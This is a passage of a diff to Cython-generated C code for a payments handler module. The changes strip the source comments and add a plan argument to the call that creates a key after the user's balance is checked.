__pyx_L13_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_5); __pyx_cur_scope->__pyx_v_state = __pyx_t_5; __pyx_t_5 = 0; - /* "handlers/payments/utils.py":30 - * if temp_data: - * state = temp_data["state"] - * data = temp_data["data"] # <<<<<<<<<<<<<< - * - * required_amount = data.get("required_amount", 0) - */ __pyx_t_5 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_temp_data, __pyx_n_u_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 30, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_5); __pyx_cur_scope->__pyx_v_data = __pyx_t_5; __pyx_t_5 = 0; - /* "handlers/payments/utils.py":32 - * data = temp_data["data"] - * - * required_amount = data.get("required_amount", 0) # <<<<<<<<<<<<<< - * - * if int(amount) != int(required_amount): - */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 32, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__3, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 32, __pyx_L13_error) @@ -3601,13 +3499,6 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_required_amount = __pyx_t_9; __pyx_t_9 = 0; - /* "handlers/payments/utils.py":34 - * required_amount = data.get("required_amount", 0) - * - * if int(amount) != int(required_amount): # <<<<<<<<<<<<<< - * logger.warning(f"[PAYMENT] {amount} {required_amount}.") - * else: - */ __pyx_t_9 = __Pyx_PyInt_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 34, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_5 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_required_amount); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 34, __pyx_L13_error) @@ -3619,13 +3510,6 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__pyx_t_10) { - /* "handlers/payments/utils.py":35 - * - * if int(amount) != int(required_amount): - * logger.warning(f"[PAYMENT] {amount} {required_amount}.") # <<<<<<<<<<<<<< - * else: - * if state == "waiting_for_renewal_payment": - */ __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 35, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_warning); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 35, __pyx_L13_error) @@ -3694,34 +3578,13 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - /* "handlers/payments/utils.py":34 - * required_amount = data.get("required_amount", 0) - * - * if int(amount) != int(required_amount): # <<<<<<<<<<<<<< - * logger.warning(f"[PAYMENT] {amount} {required_amount}.") - * else: - */ goto __pyx_L17; } - /* "handlers/payments/utils.py":37 - * logger.warning(f"[PAYMENT] {amount} {required_amount}.") - * else: - * if state == "waiting_for_renewal_payment": # <<<<<<<<<<<<<< - * from handlers.keys.keys import complete_key_renewal - * - */ /*else*/ { __pyx_t_10 = (__Pyx_PyUnicode_Equals(__pyx_cur_scope->__pyx_v_state, __pyx_n_u_waiting_for_renewal_payment, Py_EQ)); if (unlikely((__pyx_t_10 < 0))) __PYX_ERR(0, 37, __pyx_L13_error) if (__pyx_t_10) { - /* "handlers/payments/utils.py":38 - * else: - * if state == "waiting_for_renewal_payment": - * from handlers.keys.keys import complete_key_renewal # <<<<<<<<<<<<<< - * - * plan = data.get("plan") - */ __pyx_t_4 = PyList_New(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 38, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_INCREF(__pyx_n_s_complete_key_renewal); @@ -3738,13 +3601,6 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/utils.py":40 - * from handlers.keys.keys import complete_key_renewal - * - * plan = data.get("plan") # <<<<<<<<<<<<<< - * client_id = data.get("client_id") - * new_expiry_time = data.get("new_expiry_time") - */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 40, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; @@ -3773,13 +3629,6 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_plan = __pyx_t_9; __pyx_t_9 = 0; - /* "handlers/payments/utils.py":41 - * - * plan = data.get("plan") - * client_id = data.get("client_id") # <<<<<<<<<<<<<< - * new_expiry_time = data.get("new_expiry_time") - * total_gb = data.get("total_gb") - */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 41, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; @@ -3808,13 +3657,6 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_client_id = __pyx_t_9; __pyx_t_9 = 0; - /* "handlers/payments/utils.py":42 - * plan = data.get("plan") - * client_id = data.get("client_id") - * new_expiry_time = data.get("new_expiry_time") # <<<<<<<<<<<<<< - * total_gb = data.get("total_gb") - * cost = data.get("cost") - */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 42, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; @@ -3843,13 +3685,6 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_new_expiry_time = __pyx_t_9; __pyx_t_9 = 0; - /* "handlers/payments/utils.py":43 - * client_id = data.get("client_id") - * new_expiry_time = data.get("new_expiry_time") - * total_gb = data.get("total_gb") # <<<<<<<<<<<<<< - * cost = data.get("cost") - * email = data.get("email") - */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 43, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; @@ -3878,13 +3713,6 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_total_gb = __pyx_t_9; __pyx_t_9 = 0; - /* "handlers/payments/utils.py":44 - * new_expiry_time = data.get("new_expiry_time") - * total_gb = data.get("total_gb") - * cost = data.get("cost") # <<<<<<<<<<<<<< - * email = data.get("email") - * - */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 44, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; @@ -3913,13 +3741,6 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_cost = __pyx_t_9; __pyx_t_9 = 0; - /* "handlers/payments/utils.py":45 - * total_gb = data.get("total_gb") - * cost = data.get("cost") - * email = data.get("email") # <<<<<<<<<<<<<< - * - * if not all([plan, client_id, new_expiry_time, email]): - */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 45, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; @@ -3948,13 +3769,6 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_email = __pyx_t_9; __pyx_t_9 = 0; - /* "handlers/payments/utils.py":47 - * email = data.get("email") - * - * if not all([plan, client_id, new_expiry_time, email]): # <<<<<<<<<<<<<< - * logger.error(f"[RENEW] {user_id}") - * return - */ __pyx_t_9 = PyList_New(4); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 47, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_INCREF(__pyx_cur_scope->__pyx_v_plan); @@ -3977,13 +3791,6 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_t_13 = (!__pyx_t_10); if (__pyx_t_13) { - /* "handlers/payments/utils.py":48 - * - * if not all([plan, client_id, new_expiry_time, email]): - * logger.error(f"[RENEW] {user_id}") # <<<<<<<<<<<<<< - * return - * - */ __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_logger); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 48, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_error); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 48, __pyx_L13_error) @@ -4019,33 +3826,12 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - /* "handlers/payments/utils.py":49 - * if not all([plan, client_id, new_expiry_time, email]): - * logger.error(f"[RENEW] {user_id}") - * return # <<<<<<<<<<<<<< - * - * balance = await get_balance(user_id) - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L12_return; - /* "handlers/payments/utils.py":47 - * email = data.get("email") - * - * if not all([plan, client_id, new_expiry_time, email]): # <<<<<<<<<<<<<< - * logger.error(f"[RENEW] {user_id}") - * return - */ } - /* "handlers/payments/utils.py":51 - * return - * - * balance = await get_balance(user_id) # <<<<<<<<<<<<<< - * if balance >= cost: - * await complete_key_renewal(user_id, client_id, email, new_expiry_time, total_gb, cost, None, plan) - */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_get_balance); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 51, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = NULL; @@ -4107,25 +3893,11 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_balance = __pyx_t_4; __pyx_t_4 = 0; - /* "handlers/payments/utils.py":52 - * - * balance = await get_balance(user_id) - * if balance >= cost: # <<<<<<<<<<<<<< - * await complete_key_renewal(user_id, client_id, email, new_expiry_time, total_gb, cost, None, plan) - * await clear_temporary_data(conn, user_id) - */ __pyx_t_4 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_balance, __pyx_cur_scope->__pyx_v_cost, Py_GE); __Pyx_XGOTREF(__pyx_t_4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 52, __pyx_L13_error) __pyx_t_13 = __Pyx_PyObject_IsTrue(__pyx_t_4); if (unlikely((__pyx_t_13 < 0))) __PYX_ERR(0, 52, __pyx_L13_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__pyx_t_13) { - /* "handlers/payments/utils.py":53 - * balance = await get_balance(user_id) - * if balance >= cost: - * await complete_key_renewal(user_id, client_id, email, new_expiry_time, total_gb, cost, None, plan) # <<<<<<<<<<<<<< - * await clear_temporary_data(conn, user_id) - * return - */ __Pyx_INCREF(__pyx_cur_scope->__pyx_v_complete_key_renewal); __pyx_t_6 = __pyx_cur_scope->__pyx_v_complete_key_renewal; __pyx_t_5 = NULL; __pyx_t_7 = 0; @@ -4184,13 +3956,6 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO } } - /* "handlers/payments/utils.py":54 - * if balance >= cost: - * await complete_key_renewal(user_id, client_id, email, new_expiry_time, total_gb, cost, None, plan) - * await clear_temporary_data(conn, user_id) # <<<<<<<<<<<<<< - * return - * - */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_clear_temporary_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 54, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = NULL; @@ -4250,78 +4015,29 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO } } - /* "handlers/payments/utils.py":55 - * await complete_key_renewal(user_id, client_id, email, new_expiry_time, total_gb, cost, None, plan) - * await clear_temporary_data(conn, user_id) - * return # <<<<<<<<<<<<<< - * - * if state == "waiting_for_payment": - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L12_return; - /* "handlers/payments/utils.py":52 - * - * balance = await get_balance(user_id) - * if balance >= cost: # <<<<<<<<<<<<<< - * await complete_key_renewal(user_id, client_id, email, new_expiry_time, total_gb, cost, None, plan) - * await clear_temporary_data(conn, user_id) - */ } - /* "handlers/payments/utils.py":37 - * logger.warning(f"[PAYMENT] {amount} {required_amount}.") - * else: - * if state == "waiting_for_renewal_payment": # <<<<<<<<<<<<<< - * from handlers.keys.keys import complete_key_renewal - * - */ } - /* "handlers/payments/utils.py":57 - * return - * - * if state == "waiting_for_payment": # <<<<<<<<<<<<<< - * plan_price = data["plan_price"] - * duration_days = data["duration_days"] - */ __pyx_t_13 = (__Pyx_PyUnicode_Equals(__pyx_cur_scope->__pyx_v_state, __pyx_n_u_waiting_for_payment, Py_EQ)); if (unlikely((__pyx_t_13 < 0))) __PYX_ERR(0, 57, __pyx_L13_error) if (__pyx_t_13) { - /* "handlers/payments/utils.py":58 - * - * if state == "waiting_for_payment": - * plan_price = data["plan_price"] # <<<<<<<<<<<<<< - * duration_days = data["duration_days"] - * - */ __pyx_t_4 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_data, __pyx_n_u_plan_price); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 58, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_4); __pyx_cur_scope->__pyx_v_plan_price = __pyx_t_4; __pyx_t_4 = 0; - /* "handlers/payments/utils.py":59 - * if state == "waiting_for_payment": - * plan_price = data["plan_price"] - * duration_days = data["duration_days"] # <<<<<<<<<<<<<< - * - * balance = await get_balance(user_id) - */ __pyx_t_4 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_data, __pyx_n_u_duration_days); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 59, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_4); __pyx_cur_scope->__pyx_v_duration_days = __pyx_t_4; __pyx_t_4 = 0; - /* "handlers/payments/utils.py":61 - * duration_days = data["duration_days"] - * - * balance = await get_balance(user_id) # <<<<<<<<<<<<<< - * if balance >= plan_price: - * moscow_tz = pytz.timezone("Europe/Moscow") - */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_get_balance); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 61, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = NULL; @@ -4384,25 +4100,11 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __Pyx_GIVEREF(__pyx_t_4); __pyx_t_4 = 0; - /* "handlers/payments/utils.py":62 - * - * balance = await get_balance(user_id) - * if balance >= plan_price: # <<<<<<<<<<<<<< - * moscow_tz = pytz.timezone("Europe/Moscow") - * expiry_time = datetime.now(moscow_tz) + timedelta(days=duration_days) - */ __pyx_t_4 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_balance, __pyx_cur_scope->__pyx_v_plan_price, Py_GE); __Pyx_XGOTREF(__pyx_t_4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 62, __pyx_L13_error) __pyx_t_13 = __Pyx_PyObject_IsTrue(__pyx_t_4); if (unlikely((__pyx_t_13 < 0))) __PYX_ERR(0, 62, __pyx_L13_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__pyx_t_13) { - /* "handlers/payments/utils.py":63 - * balance = await get_balance(user_id) - * if balance >= plan_price: - * moscow_tz = pytz.timezone("Europe/Moscow") # <<<<<<<<<<<<<< - * expiry_time = datetime.now(moscow_tz) + timedelta(days=duration_days) - * await create_key(user_id, expiry_time, None, conn, None) - */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_pytz); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 63, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_timezone); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 63, __pyx_L13_error) @@ -4434,13 +4136,6 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_moscow_tz = __pyx_t_4; __pyx_t_4 = 0; - /* "handlers/payments/utils.py":64 - * if balance >= plan_price: - * moscow_tz = pytz.timezone("Europe/Moscow") - * expiry_time = datetime.now(moscow_tz) + timedelta(days=duration_days) # <<<<<<<<<<<<<< - * await create_key(user_id, expiry_time, None, conn, None) - * - */ __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_datetime); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 64, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_now); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 64, __pyx_L13_error) @@ -4485,18 +4180,12 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_expiry_time = __pyx_t_5; __pyx_t_5 = 0; - /* "handlers/payments/utils.py":65 - * moscow_tz = pytz.timezone("Europe/Moscow") - * expiry_time = datetime.now(moscow_tz) + timedelta(days=duration_days) - * await create_key(user_id, expiry_time, None, conn, None) # <<<<<<<<<<<<<< - * - * await update_balance(user_id, -plan_price) - */ - __Pyx_INCREF(__pyx_cur_scope->__pyx_v_create_key); - __pyx_t_9 = __pyx_cur_scope->__pyx_v_create_key; __pyx_t_4 = NULL; + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 65, __pyx_L13_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_4 = NULL; __pyx_t_7 = 0; #if CYTHON_UNPACK_METHODS - if (unlikely(PyMethod_Check(__pyx_t_9))) { + if (likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); @@ -4508,13 +4197,44 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO } #endif { - PyObject *__pyx_callargs[6] = {__pyx_t_4, __pyx_cur_scope->__pyx_v_user_id, __pyx_cur_scope->__pyx_v_expiry_time, Py_None, __pyx_cur_scope->__pyx_v_conn, Py_None}; - __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_7, 5+__pyx_t_7); + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_n_u_plan}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 65, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_plan); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_plan, __pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + __pyx_t_5 = 0; + + __pyx_t_9 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_plan); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 66, __pyx_L13_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_create_key); + __pyx_t_4 = __pyx_cur_scope->__pyx_v_create_key; __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[7] = {__pyx_t_6, __pyx_cur_scope->__pyx_v_user_id, __pyx_cur_scope->__pyx_v_expiry_time, Py_None, __pyx_cur_scope->__pyx_v_conn, Py_None, __pyx_t_9}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_7, 6+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 66, __pyx_L13_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XGOTREF(__pyx_r); @@ -4541,48 +4261,41 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_3); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 65, __pyx_L13_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 66, __pyx_L13_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 65, __pyx_L13_error) + else __PYX_ERR(0, 66, __pyx_L13_error) } } - /* "handlers/payments/utils.py":67 - * await create_key(user_id, expiry_time, None, conn, None) - * - * await update_balance(user_id, -plan_price) # <<<<<<<<<<<<<< - * await clear_temporary_data(conn, user_id) - * return - */ - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 67, __pyx_L13_error) - __Pyx_GOTREF(__pyx_t_9); - __pyx_t_4 = PyNumber_Negative(__pyx_cur_scope->__pyx_v_plan_price); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 67, __pyx_L13_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 68, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_4); + __pyx_t_9 = PyNumber_Negative(__pyx_cur_scope->__pyx_v_plan_price); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 68, __pyx_L13_error) + __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = NULL; __pyx_t_7 = 0; #if CYTHON_UNPACK_METHODS - if (unlikely(PyMethod_Check(__pyx_t_9))) { - __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); + if (unlikely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_6)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_9, function); + __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_7 = 1; } } #endif { - PyObject *__pyx_callargs[3] = {__pyx_t_6, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_4}; - __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); + PyObject *__pyx_callargs[3] = {__pyx_t_6, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_9}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; - __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 67, __pyx_L13_error) - __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 68, __pyx_L13_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; @@ -4610,45 +4323,38 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_3); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 67, __pyx_L13_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 68, __pyx_L13_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 67, __pyx_L13_error) + else __PYX_ERR(0, 68, __pyx_L13_error) } } - /* "handlers/payments/utils.py":68 - * - * await update_balance(user_id, -plan_price) - * await clear_temporary_data(conn, user_id) # <<<<<<<<<<<<<< - * return - * - */ - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_clear_temporary_data); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 68, __pyx_L13_error) - __Pyx_GOTREF(__pyx_t_9); - __pyx_t_4 = NULL; + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_clear_temporary_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 69, __pyx_L13_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_9 = NULL; __pyx_t_7 = 0; #if CYTHON_UNPACK_METHODS - if (unlikely(PyMethod_Check(__pyx_t_9))) { - __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); - if (likely(__pyx_t_4)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); - __Pyx_INCREF(__pyx_t_4); + if (unlikely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_9)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_9, function); + __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_7 = 1; } } #endif { - PyObject *__pyx_callargs[3] = {__pyx_t_4, __pyx_cur_scope->__pyx_v_conn, __pyx_cur_scope->__pyx_v_user_id}; - __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); - __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 68, __pyx_L13_error) + PyObject *__pyx_callargs[3] = {__pyx_t_9, __pyx_cur_scope->__pyx_v_conn, __pyx_cur_scope->__pyx_v_user_id}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 69, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; @@ -4676,74 +4382,32 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_t_3 